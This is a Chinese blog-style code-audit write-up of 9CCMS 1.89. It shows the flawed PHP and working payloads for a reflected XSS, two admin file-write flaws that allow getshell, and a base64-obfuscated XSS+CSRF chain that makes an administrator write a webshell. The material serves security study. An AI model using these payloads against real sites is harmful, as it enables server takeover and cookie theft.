声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。 |
---|
0x01 前言
今天在“搞基大队”的群里看到@六八表哥发的这篇9CCMS代码审计笔记,审计的版本为1.89,经六表哥同意转发至该公众号,该文章比较适合新手学习。
这套CMS程序主要被用于搭建一些违F的Sex影视站,类似的程序还有辣椒CMS,在以前的案例中也搞过一次《记一次因“打码”不严的渗透测试》。
0x02 漏洞点1:前台反射XSS
文件位于:static/home/videojs/index.php
<script type="text/javascript">
var vPath = '<?php include('../../../Php/Public/Helper.php'); echo safeRequest($_GET['Play']);?>';
var logo = '';
var myVideo=initVideo({
id:'myVideo',
url:vPath,
ad:{
pre:{
url:'',
link:'',
},
},
logo:{
url:'logo.png',
width:'100px'
},
});
</script>
跟进saferequest只对反斜杠与<>进行了处理,而该xss本身就在script标签中,所以只需要截断标签,即可触发XSS
<?php
function safeRequest($data){
$data = stripslashes($data); // 刪除反斜杠
$data = htmlspecialchars($data); //把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体:
return $data;
}
?>
payload:
http://192.168.18.131/static/home/videojs/index.php?Play=%27;alert(document.cookie);%27
0x03 漏洞点2:后台广告添加文件写入
在后台php/admin/home/ad/adjs.php文件中,未对传递进来的数据进行过滤,并且直接写到了AdminAdJs.php文件中,可直接getshell。
<?php
$postAdJs = $_POST['AdJs'];
if (isset($_POST['submit']) && isset($postAdJs)) {
$file = fopen("../JCSQL/Admin/Ad/AdminAdJs.php","w");
fwrite($file,$postAdJs);
fclose($file);
?>
0x04 漏洞点3:密码修改文件写入
除了第5行做了html实体编码,和删除反斜杠以外,未作任何安全处理,直接写入php文件中,这里也可以直接拿shell
<?php
if (isset($_POST['submit']) && isset($_POST['username']) && isset($_POST['password']) && isset($_POST['ippass']) ) {
function post_input($data){$data = stripslashes($data);$data = htmlspecialchars($data);return $data;}
$username = post_input($_POST["username"]);
$password = post_input($_POST["password"]);
$ippass = post_input($_POST["ippass"]);
$str = '';
$str .= '<?php';
$str .= "\n";
$str .= '//后台密码';
$str .= "\n";
$str .= 'define(\'USERNAME\', \''.$username.'\');';
$str .= "\n";
$str .= 'define(\'PASSWORD\', \''.$password.'\');';
$str .= "\n";
$str .= 'define(\'IPPASS\', \''.$ippass.'\');';
$str .= "\n";
$str .= '?>';
$ff = fopen("../JCSQL/Admin/Security/AdminUser.php",'w+');
fwrite($ff,$str);
?>
9ccms');phpinfo();//(
0x05 后台所有请求都未添加CSRF token
组合拳:前台XSS+CSRF+文件写入
并且由于没有添加csrf token所以可以直接结合XSS进行攻击,payload如下,管理员点击该链接即可写入webshell。
http://192.168.18.131/static/home/videojs/index.php?Play=';eval(atob('dmFyIGh0dHBSZXF1ZXN0ID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7Cmh0dHBSZXF1ZXN0Lm9wZW4oJ1BPU1QnLCAnaHR0cDovLzE5Mi4xNjguMTguMTMxL2FkbWlueC8%2fUGhwPUhvbWUvQWQvQWRKcycsIHRydWUpOyAKaHR0cFJlcXVlc3Quc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7Cmh0dHBSZXF1ZXN0LnNlbmQoJ0FkSnM9MTIzJTNDJTNGcGhwK3BocGluZm8lMjglMjklM0IlM0YlM0Umc3VibWl0PScpOwpodHRwUmVxdWVzdC5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbiAoKSB7CiAgICBpZiAoaHR0cFJlcXVlc3QucmVhZHlTdGF0ZSA9PSA0ICYmIGh0dHBSZXF1ZXN0LnN0YXR1cyA9PSAyMDApIHsKICAgICAgICB2YXIganNvbiA9IGh0dHBSZXF1ZXN0LnJlc3BvbnNlVGV4dDsKICAgICAgICBjb25zb2xlLmxvZyhqc29uKTsKICAgIH0KfTs%3D'));'
其它:
前台由于基本没啥交互,所以除了XSS没审出什么洞,后台基本上到处是洞,一个很垃圾的CMS